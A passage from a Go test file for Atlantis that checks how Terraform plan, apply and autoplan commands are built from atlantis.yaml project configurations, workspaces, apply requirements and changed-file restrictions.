TestDefaultProjectCommandBuilder_BuildAutoplanCommands(t *testing.T) {\n\t// expCtxFields define the ctx fields we're going to assert on.\n\t// Since we're focused on autoplanning here, we don't validate all the\n\t// fields so the tests are more obvious and targeted.\n\ttype expCtxFields struct {\n\t\tProjectName string\n\t\tRepoRelDir  string\n\t\tWorkspace   string\n\t}\n\tdefaultTestDirStructure := map[string]any{\n\t\t\"main.tf\": nil,\n\t}\n\n\tcases := []struct {\n\t\tDescription      string\n\t\tAtlantisYAML     string\n\t\tServerSideYAML   string\n\t\tTestDirStructure map[string]any\n\t\texp              []expCtxFields\n\t}{\n\t\t{\n\t\t\tDescription: \"simple atlantis.yaml\",\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n`,\n\t\t\tTestDirStructure: defaultTestDirStructure,\n\t\t\texp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"some projects disabled\",\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n  autoplan:\n    enabled: false\n- dir: .\n  workspace: myworkspace\n  autoplan:\n    when_modified: [\"main.tf\"]\n- dir: .\n  name: myname\n  workspace: myworkspace2\n`,\n\t\t\tTestDirStructure: defaultTestDirStructure,\n\t\t\texp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"myname\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"myworkspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"some projects disabled\",\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n  autoplan:\n    enabled: false\n- dir: .\n  workspace: myworkspace\n  autoplan:\n    when_modified: [\"main.tf\"]\n- dir: .\n  workspace: myworkspace2\n`,\n\t\t\tTestDirStructure: defaultTestDirStructure,\n\t\t\texp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"myworkspace2\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"no projects modified\",\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: mydir\n`,\n\t\t\tTestDirStructure: defaultTestDirStructure,\n\t\t\texp:              nil,\n\t\t},\n\t\t{\n\t\t\tDescription: \"workspaces from subdirectories detected\",\n\t\t\tTestDirStructure: map[string]any{\n\t\t\t\t\"work\": map[string]any{\n\t\t\t\t\t\"main.tf\": `\nterraform {\n  cloud {\n    organization = \"atlantis-test\"\n    workspaces {\n      name = \"test-workspace1\"\n    }\n  }\n}`,\n\t\t\t\t},\n\t\t\t\t\"test\": map[string]any{\n\t\t\t\t\t\"main.tf\": `\nterraform {\n  cloud {\n    organization = \"atlantis-test\"\n    workspaces {\n      name = \"test-workspace12\"\n    }\n  }\n}`,\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"test\",\n\t\t\t\t\tWorkspace:   \"test-workspace12\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \"work\",\n\t\t\t\t\tWorkspace:   \"test-workspace1\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"workspaces in parent directory are detected\",\n\t\t\tTestDirStructure: map[string]any{\n\t\t\t\t\"main.tf\": `\nterraform {\n  cloud {\n    organization = \"atlantis-test\"\n    workspaces {\n      name = \"test-workspace\"\n    }\n  }\n}`,\n\t\t\t},\n\t\t\texp: []expCtxFields{\n\t\t\t\t{\n\t\t\t\t\tProjectName: \"\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"test-workspace\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tterraformClient := tfclientmocks.NewMockClient()\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, c.TestDirStructure)\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(ChangedFiles(c.TestDirStructure, \"\"), nil)\n\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tctxs, err := builder.BuildAutoplanCommands(&command.Context{\n\t\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tLog:   logger,\n\t\t\t\tScope: scope,\n\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, len(c.exp), len(ctxs))\n\n\t\t\t// Sort so comparisons are deterministic\n\t\t\tsort.Slice(ctxs, func(i, j int) bool {\n\t\t\t\tif ctxs[i].ProjectName != ctxs[j].ProjectName {\n\t\t\t\t\treturn ctxs[i].ProjectName < ctxs[j].ProjectName\n\t\t\t\t}\n\t\t\t\tif ctxs[i].RepoRelDir != ctxs[j].RepoRelDir {\n\t\t\t\t\treturn ctxs[i].RepoRelDir < ctxs[j].RepoRelDir\n\t\t\t\t}\n\t\t\t\treturn ctxs[i].Workspace < ctxs[j].Workspace\n\t\t\t})\n\t\t\tfor i, actCtx := range ctxs {\n\t\t\t\texpCtx := c.exp[i]\n\t\t\t\tEquals(t, expCtx.ProjectName, actCtx.ProjectName)\n\t\t\t\tEquals(t, expCtx.RepoRelDir, actCtx.RepoRelDir)\n\t\t\t\tEquals(t, expCtx.Workspace, actCtx.Workspace)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test building a plan and apply command for one project.\nfunc TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand(t *testing.T) {\n\tcases := []struct {\n\t\tDescription                string\n\t\tAtlantisYAML               string\n\t\tCmd                        events.CommentCommand\n\t\tSilenced                   bool\n\t\tExpCommentArgs             []string\n\t\tExpWorkspace               string\n\t\tExpDir                     string\n\t\tExpProjectName             string\n\t\tExpErr                     string\n\t\tExpApplyReqs               []string\n\t\tEnableAutoMergeUserCfg     bool\n\t\tAutoDiscoverModeUserCfg    string\n\t\tEnableParallelPlanUserCfg  bool\n\t\tEnableParallelApplyUserCfg bool\n\t\tExpAutoMerge               bool\n\t\tExpParallelPlan            bool\n\t\tExpParallelApply           bool\n\t\tExpNoProjects              bool\n\t}{\n\t\t{\n\t\t\tDescription: \"no atlantis.yaml\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tFlags:      []string{\"commentarg\"},\n\t\t\t\tName:       command.Plan,\n\t\t\t\tWorkspace:  \"myworkspace\",\n\t\t\t},\n\t\t\tAtlantisYAML:   \"\",\n\t\t\tExpCommentArgs: []string{`\\c\\o\\m\\m\\e\\n\\t\\a\\r\\g`},\n\t\t\tExpWorkspace:   \"myworkspace\",\n\t\t\tExpDir:         \".\",\n\t\t\tExpApplyReqs:   []string{},\n\t\t},\n\t\t{\n\t\t\tDescription: \"no atlantis.yaml with project flag\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tName:        command.Plan,\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: \"\",\n\t\t\tExpErr:       \"cannot specify a project name unless an atlantis.yaml file exists to configure projects\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"simple atlantis.yaml\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tName:       command.Plan,\n\t\t\t\tWorkspace:  \"myworkspace\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n  workspace: myworkspace\n  apply_requirements: [approved]`,\n\t\t\tExpApplyReqs: []string{\"approved\"},\n\t\t\tExpWorkspace: \"myworkspace\",\n\t\t\tExpDir:       \".\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml wrong dir\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tName:       command.Plan,\n\t\t\t\tWorkspace:  \"myworkspace\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: notroot\n  workspace: myworkspace\n  apply_requirements: [approved]`,\n\t\t\tExpWorkspace: \"myworkspace\",\n\t\t\tExpDir:       \".\",\n\t\t\tExpApplyReqs: []string{},\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml wrong workspace\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tName:       command.Plan,\n\t\t\t\tWorkspace:  \"myworkspace\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n  workspace: notmyworkspace\n  apply_requirements: [approved]`,\n\t\t\tExpErr: \"running commands in workspace \\\"myworkspace\\\" is not allowed because this directory is only configured for the following workspaces: notmyworkspace\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with projectname\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n  apply_requirements: [approved]`,\n\t\t\tExpApplyReqs:   []string{\"approved\"},\n\t\t\tExpProjectName: \"myproject\",\n\t\t\tExpWorkspace:   \"myworkspace\",\n\t\t\tExpDir:         \".\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with mergeable apply requirement\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n  apply_requirements: [mergeable]`,\n\t\t\tExpApplyReqs:   []string{\"mergeable\"},\n\t\t\tExpProjectName: \"myproject\",\n\t\t\tExpWorkspace:   \"myworkspace\",\n\t\t\tExpDir:         \".\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with mergeable and approved apply requirements\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n  apply_requirements: [mergeable, approved]`,\n\t\t\tExpApplyReqs:   []string{\"mergeable\", \"approved\"},\n\t\t\tExpProjectName: \"myproject\",\n\t\t\tExpWorkspace:   \"myworkspace\",\n\t\t\tExpDir:         \".\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with multiple dir/workspaces matching\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:       command.Plan,\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"myworkspace\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n  apply_requirements: [approved]\n- name: myproject2\n  dir: .\n  workspace: myworkspace\n`,\n\t\t\tExpErr: \"must specify project name: more than one project defined in 'atlantis.yaml' matched dir: '.' workspace: 'myworkspace'\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with project flag not matching\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"notconfigured\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n`,\n\t\t\tExpErr: \"no project with name 'notconfigured' is defined in 'atlantis.yaml'\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with project flag not matching but silenced\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"notconfigured\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- dir: .\n`,\n\t\t\tSilenced:      true,\n\t\t\tExpNoProjects: true,\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with ParallelPlan Set to true\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nparallel_plan: true\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n`,\n\t\t\tExpParallelPlan:  true,\n\t\t\tExpParallelApply: false,\n\t\t\tExpDir:           \".\",\n\t\t\tExpWorkspace:     \"myworkspace\",\n\t\t\tExpProjectName:   \"myproject\",\n\t\t\tExpApplyReqs:     []string{},\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with ParallelPlan/apply and Automerge not set, but set in user conf\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n`,\n\t\t\tEnableAutoMergeUserCfg:     true,\n\t\t\tEnableParallelPlanUserCfg:  true,\n\t\t\tEnableParallelApplyUserCfg: true,\n\t\t\tExpAutoMerge:               true,\n\t\t\tExpParallelPlan:            true,\n\t\t\tExpParallelApply:           true,\n\t\t\tExpDir:                     \".\",\n\t\t\tExpWorkspace:               \"myworkspace\",\n\t\t\tExpProjectName:             \"myproject\",\n\t\t\tExpApplyReqs:               []string{},\n\t\t},\n\t\t{\n\t\t\tDescription: \"atlantis.yaml with ParallelPlan/apply and Automerge set to false, but set to true in user conf\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"myproject\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nautomerge: false\nparallel_plan: false\nparallel_apply: false\nprojects:\n- name: myproject\n  dir: .\n  workspace: myworkspace\n`,\n\t\t\tEnableAutoMergeUserCfg:     true,\n\t\t\tEnableParallelPlanUserCfg:  true,\n\t\t\tEnableParallelApplyUserCfg: true,\n\t\t\tExpAutoMerge:               false,\n\t\t\tExpParallelPlan:            false,\n\t\t\tExpParallelApply:           false,\n\t\t\tExpDir:                     \".\",\n\t\t\tExpWorkspace:               \"myworkspace\",\n\t\t\tExpProjectName:             \"myproject\",\n\t\t\tExpApplyReqs:               []string{},\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\n\tfor _, c := range cases {\n\t\t// NOTE: we're testing both plan and apply here.\n\t\tfor _, cmdName := range []command.Name{command.Plan, command.Apply} {\n\t\t\tt.Run(c.Description+\"_\"+cmdName.String(), func(t *testing.T) {\n\t\t\t\tRegisterMockTestingT(t)\n\t\t\t\ttmpDir := DirStructure(t, map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t})\n\n\t\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"main.tf\"}, nil)\n\t\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\t\tOk(t, err)\n\t\t\t\t}\n\n\t\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t\t}\n\n\t\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\t\tfalse,\n\t\t\t\t\t&config.ParserValidator{},\n\t\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\t\tvcsClient,\n\t\t\t\t\tworkingDir,\n\t\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\t\tc.EnableAutoMergeUserCfg,\n\t\t\t\t\tc.EnableParallelPlanUserCfg,\n\t\t\t\t\tc.EnableParallelApplyUserCfg,\n\t\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\t\tc.Silenced,\n\t\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\t\tc.AutoDiscoverModeUserCfg,\n\t\t\t\t\tscope,\n\t\t\t\t\tterraformClient,\n\t\t\t\t)\n\n\t\t\t\tvar actCtxs []command.ProjectContext\n\t\t\t\tvar err error\n\t\t\t\tcmd := c.Cmd\n\t\t\t\tif cmdName == command.Plan {\n\t\t\t\t\tactCtxs, err = builder.BuildPlanCommands(&command.Context{\n\t\t\t\t\t\tLog:   logger,\n\t\t\t\t\t\tScope: scope,\n\t\t\t\t\t}, &cmd)\n\t\t\t\t} else {\n\t\t\t\t\tactCtxs, err = builder.BuildApplyCommands(&command.Context{Log: logger, Scope: scope}, &cmd)\n\t\t\t\t}\n\n\t\t\t\tif c.ExpErr != \"\" {\n\t\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tOk(t, err)\n\t\t\t\tif c.ExpNoProjects {\n\t\t\t\t\tEquals(t, 0, len(actCtxs))\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tEquals(t, 1, len(actCtxs))\n\t\t\t\tactCtx := actCtxs[0]\n\t\t\t\tEquals(t, c.ExpDir, actCtx.RepoRelDir)\n\t\t\t\tEquals(t, c.ExpWorkspace, actCtx.Workspace)\n\t\t\t\tEquals(t, c.ExpCommentArgs, actCtx.EscapedCommentArgs)\n\t\t\t\tEquals(t, c.ExpProjectName, actCtx.ProjectName)\n\t\t\t\tEquals(t, c.ExpApplyReqs, actCtx.ApplyRequirements)\n\t\t\t\tEquals(t, c.ExpAutoMerge, actCtx.AutomergeEnabled)\n\t\t\t\tEquals(t, c.ExpParallelPlan, actCtx.ParallelPlanEnabled)\n\t\t\t\tEquals(t, c.ExpParallelApply, actCtx.ParallelApplyEnabled)\n\t\t\t})\n\t\t}\n\t}\n}\n\n// Test building a plan and apply command for one project\n// with the RestrictFileList\nfunc TestDefaultProjectCommandBuilder_BuildSinglePlanApplyCommand_WithRestrictFileList(t *testing.T) {\n\tcases := []struct {\n\t\tDescription        string\n\t\tAtlantisYAML       string\n\t\tDirectoryStructure map[string]any\n\t\tModifiedFiles      []string\n\t\tCmd                events.CommentCommand\n\t\tExpErr             string\n\t}{\n\t\t{\n\t\t\tDescription: \"planning a file outside of the changed files\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:       command.Plan,\n\t\t\t\tRepoRelDir: \"directory-1\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t},\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\t\"directory-1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"directory-2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles: []string{\"directory-2/main.tf\"},\n\t\t\tExpErr:        \"the dir \\\"directory-1\\\" is not in the plan list of this pull request\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"planning a file of the changed files\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:       command.Plan,\n\t\t\t\tRepoRelDir: \"directory-1\",\n\t\t\t\tWorkspace:  \"default\",\n\t\t\t},\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\t\"directory-1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"directory-2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles: []string{\"directory-1/main.tf\"},\n\t\t},\n\t\t{\n\t\t\tDescription: \"planning a project outside of the requested changed files\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"project-1\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: project-1\n  dir: directory-1\n- name: project-2\n  dir: directory-2\n`,\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\t\"directory-1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"directory-2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles: []string{\"directory-2/main.tf\"},\n\t\t\tExpErr:        \"the following directories are present in the pull request but not in the requested project:\\ndirectory-2\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"planning a project defined in the requested changed files\",\n\t\t\tCmd: events.CommentCommand{\n\t\t\t\tName:        command.Plan,\n\t\t\t\tWorkspace:   \"default\",\n\t\t\t\tProjectName: \"project-1\",\n\t\t\t},\n\t\t\tAtlantisYAML: `\nversion: 3\nprojects:\n- name: project-1\n  dir: directory-1\n- name: project-2\n  dir: directory-2\n`,\n\t\t\tDirectoryStructure: map[string]any{\n\t\t\t\t\"directory-1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"directory-2\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tModifiedFiles: []string{\"directory-1/main.tf\"},\n\t\t},\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tscope := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\tuserConfig := defaultUserConfig\n\tuserConfig.RestrictFileList = true\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description+\"_\"+command.Plan.String(), func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\t\t\ttmpDir := DirStructure(t, c.DirectoryStructure)\n\n\t\t\tworkingDir := mocks.NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmpDir, nil)\n\t\t\tWhen(workingDir.GetWorkingDir(Any[models.Repo](), Any[models.PullRequest](), Any[string]())).ThenReturn(tmpDir, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\t\t\tif c.AtlantisYAML != \"\" {\n\t\t\t\terr := os.WriteFile(filepath.Join(tmpDir, valid.DefaultAtlantisFile), []byte(c.AtlantisYAML), 0600)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := events.NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\t&config.ParserValidator{},\n\t\t\t\t&events.DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tevents.NewDefaultWorkingDirLocker(),\n\t\t\t\tvalid.NewGlobalCfgFromArgs(globalCfgArgs),\n\t\t\t\t&events.DefaultPendingPlanFinder{},\n\t\t\t\t&events.CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tuserConfig.SkipCloneNoChanges,\n\t\t\t\tuserConfig.EnableRegExpCmd,\n\t\t\t\tuserConfig.EnableAutoMerge,\n\t\t\t\tuserConfig.EnableParallelPlan,\n\t\t\t\tuserConfig.EnableParallelApply,\n\t\t\t\tuserConfig.AutoDetectModuleFiles,\n\t\t\t\tuserConfig.AutoplanFileList,\n\t\t\t\tuserConfig.RestrictFileList,\n\t\t\t\tuserConfig.SilenceNoProjects,\n\t\t\t\tuserConfig.IncludeGitUntrackedFiles,\n\t\t\t\tuserConfig.AutoDiscoverMode,\n\t\t\t\tscope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\tvar actCtxs []command.ProjectContext\n\t\t\tvar err error\n\t\t\tcmd := c.Cmd\n\t\t\tactCtxs, err = builder.BuildPlanCommands(&command.Context{\n\t\t\t\tLog:   logger,\n\t\t\t\tScope: scope,\n\t\t\t}, &cmd)\n\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, 1, len(actCtxs))\n\t\t})\n\t}\n}\n\nfunc TestDefaultProjectCommandBuilder_BuildPlanCommands(t *testing.T) {\n\t// expCtxFields define the ctx fields we're going to assert on.\n\t// Since we're focused on autoplanning here, we don't validate all the\n\t// fields so the tests are more obvious and targeted.\n\ttype expCtxFields struct {\n\t\tProjectName      string\n\t\tRepoRelDir       string\n\t\tWorkspace        string\n\t\tAutomerge        bool\n\t\tAutoDiscover     valid.AutoDiscover\n\t\tExpParallelPlan  bool\n\t\tExpParallelApply bool\n\t}\n\tcases := map[string]struct {\n\t\tAutoMergeUserCfg            bool\n\t\tParallelPlanEnabledUserCfg  bool\n\t\tParallelApplyEnabledUserCfg bool\n\t\tDirStructure                map[string]any\n\t\tAtlantisYAML                string\n\t\tModifiedFiles               []string\n\t\tExp                         []expCtxFields\n\t}{\n\t\t\"no atlantis.yaml\": {\n\t\t\tDirStructure: map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": 